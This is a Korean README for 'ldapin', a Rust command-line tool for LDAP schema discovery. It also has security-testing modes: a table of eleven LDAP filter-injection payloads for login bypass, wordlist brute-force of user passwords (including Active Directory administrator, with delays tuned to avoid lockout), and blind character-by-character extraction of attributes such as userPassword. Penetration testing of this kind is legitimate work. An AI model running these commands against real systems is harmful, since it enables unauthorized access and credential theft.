
보안 평가를 위한 기본 LDAP 작업을 수행하는 CLI 도구
LDAP 서버의 subschema를 쿼리하여 유효한 LDAP 필드를 발견하는 CLI 도구입니다. 서버에서 attributeTypes와 objectClasses를 직접 읽어오므로, 결과는 항상 서버가 실제로 지원하는 내용을 반영합니다.
# 설치 없이 바로 실행
nix run github:your-user/ldapin
# 또는 빌드 후 ./result/bin/ldapin에 링크
nix build github:your-user/ldapin
Nix 또는 NixOS 사용자를 위한 패키지가 제공됩니다. 최신 릴리스는 unstable 채널에만
있을 수 있다는 점을 유의하세요.
nix-env -iA nixos.lapin
로컬 체크아웃에서:
nix run .
nix build .
cargo install --path .
ldapin [OPTIONS]
Options:
-H, --host <HOST> LDAP 서버 URL [기본값: ldap://localhost:389]
-D, --bind-dn <BIND_DN> 바인드 DN (익명 바인드의 경우 생략)
-w, --password <PASSWORD> 바인드 비밀번호
-W, --prompt-password 바인드 비밀번호를 대화식으로 입력
-f, --filter <FILTER> 이름 또는 설명에 대한 부분 문자열 필터
-c, --object-class <NAME> 특정 객체 클래스로 제한 (-m object-classes와 함께 사용)
-m, --mode <MODE> 표시할 내용: attributes, object-classes, both [기본값: attributes]
-o, --output <OUTPUT> 출력 형식: table, json, csv [기본값: table]
-b, --base-dn <BASE_DN> 검색할 기본 DN (--mode login-bypass에 필요)
--user-attr <ATTR> login-bypass 프로브용 사용자 속성 이름 [기본값: uid]
--pass-attr <ATTR> login-bypass 프로브용 비밀번호 속성 이름 [기본값: userPassword]
-u, --target-user <USER> login-bypass 프로브용 대상 사용자 이름
--starttls STARTTLS로 연결 업그레이드
--insecure TLS 인증서 검증 건너뛰기
-h, --help 도움말 출력
-V, --version 버전 출력
로컬 서버의 모든 속성 유형 나열:
ldapin
인증 후 모든 객체 클래스 나열:
ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes
mail과 관련된 모든 속성 찾기:
ldapin -H ldap://ldap.example.org -f mail
JSON으로 모든 항목 표시:
ldapin -H ldaps://ldap.example.org -m both -o json
모든 속성을 CSV로 내보내기:
ldapin -H ldap://ldap.example.org -o csv > attributes.csv
inetOrgPerson 객체 클래스 항목 표시:
ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson
STARTTLS로 연결:
ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W
ForumSys는 테스트에 적합한 무료 읽기 전용 LDAP 서버를 제공합니다.
| 매개변수 | 값 |
|---|---|
| Host | ldap.forumsys.com |
| Port | 389 |
| Bind DN | cn=read-only-admin,dc=example,dc=com |
| Password | password |
| Base DN | dc=example,dc=com |
모든 속성 유형 나열 (익명 바인드):
ldapin -H ldap://ldap.forumsys.com
모든 속성 유형 나열 (인증):
ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password
모든 객체 클래스 나열:
ldapin -H ldap://ldap.forumsys.com -m object-classes
inetOrgPerson 객체 클래스 표시:
ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson
이름으로 속성 필터링:
ldapin -H ldap://ldap.forumsys.com -f mail
모든 항목을 JSON으로 내보내기:
ldapin -H ldap://ldap.forumsys.com -m both -o json
login-bypass 모드는 LDAP 서버의 필터 인젝션 취약점을 프로브합니다.
알려진 LDAP 인젝션 기법에서 파생된 11개의 페이로드를 구성하고, 어떤 페이로드가
항목을 반환하는지 보고합니다. 이는 취약한 웹 애플리케이션이 정제되지 않은 사용자
입력으로 인증 필터를 구성할 경우 생성할 수 있는 것과 동일한 결과입니다.
# 익명 바인드로 프로브, any-user 페이로드
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com
# 특정 계정 프로브
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein
# Active Directory. sAMAccountName과 unicodePwd 사용
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
--user-attr sAMAccountName --pass-attr unicodePwd -u administrator
# 스크립팅용 JSON 출력
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json
테스트된 페이로드:
| 페이로드 | 필터 템플릿 |
|---|---|
wildcard-both | (&(uid=*)(userPassword=*)) |
wildcard-password | (&(uid=TARGET)(userPassword=*)) |
negate-password | (&(uid=TARGET)(!(userPassword=void))) |
or-always-true | (|(uid=*)(uid=TARGET)) |
double-or-inject | (|(uid=*)(uid=*)) |
and-tautology | (&(uid=TARGET)(|(userPassword=*)(userPassword=*))) |
objectclass-wildcard | (&(uid=*)(objectClass=*)) |
not-nonexistent | (!(&(uid=__ldapin_nonexistent__))) |
empty-password | (&(uid=TARGET)(userPassword=)) |
wildcard-user-prefix | (&(uid=TARGET*)(userPassword=*)) |
bare-user-wildcard | (uid=*) |
ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com
brute-force 모드는 먼저 LDAP 검색을 통해 대상 사용자의 전체 DN을 확인한 다음,
워드리스트의 모든 줄에 대해 simple_bind(dn, password)를 시도하고 첫 번째 성공에서
중단합니다.
필수 플래그: -b / --base-dn, -u / --target-user, --wordlist.
# 기본 사전 공격
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt
# 잠금 임계값 이하로 유지하기 위해 시도 사이에 500ms 지연
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500
# Active Directory (sAMAccountName 사용)
ldapin -H ldap://dc.corp -m brute-force \
-b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
--wordlist passwords.txt
# JSON 출력
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json
진행 상황(DN 확인, 시도 횟수, 결과)은 stderr에 기록되고, 결과는 stdout으로
출력되므로 -o json과 -o csv가 깔끔하게 파이프됩니다.
# 알려진 비밀번호로 작은 워드리스트 생성
echo password > /tmp/test.txt
ldapin -H ldap://ldap.forumsys.com -m brute-force \
-b dc=example,dc=com -u einstein --wordlist /tmp/test.txt
blind-extract 모드는 와일드카드 접미사 필터로 반복적으로 프로브하여 읽을 수 있는
모든 속성의 값을 한 문자씩 복구합니다:
(&(uid=TARGET)(mail=a*)) -> 항목 없음
(&(uid=TARGET)(mail=e*)) -> 항목 발견 -> 'e'
(&(uid=TARGET)(mail=ei*)) -> 항목 발견 -> 'ei'
...
이것은 정제되지 않은 입력으로 LDAP 필터를 구성하는 취약한 웹 애플리케이션에 대해 사용되는 고전적인 블라인드 인젝션 루프의 직접 LDAP 등가물입니다.
필수 플래그: -b / --base-dn, -u / --target-user, --extract-attr.
# 사용자 "einstein"의 mail 속성 추출
ldapin -H ldap://target -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr mail
# 사용자 정의 문자 집합으로 추출
ldapin -H ldap://target -m blind-extract \
-b dc=example,dc=com -u jdoe --extract-attr userPassword \
--charset 'abcdefghijklmnopqrstuvwxyz0123456789!@#$'
# JSON 출력
ldapin -H ldap://target -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr mail -o json
문자가 발견될 때마다 진행 상황이 stderr에 기록되므로, 파이핑 또는 -o json /
-o csv 사용을 위해 stdout은 깨끗하게 유지됩니다.
ldapin -H ldap://ldap.forumsys.com -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr mail
ldapin -H ldap://ldap.forumsys.com -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr telephoneNumber \
--charset '0123456789-'
Rust 도구, rust-analyzer, rustfmt 및 clippy가 포함된 셸에 진입:
nix develop
그런 다음 정상적으로 빌드하고 실행:
cargo build
cargo run -- --help
MIT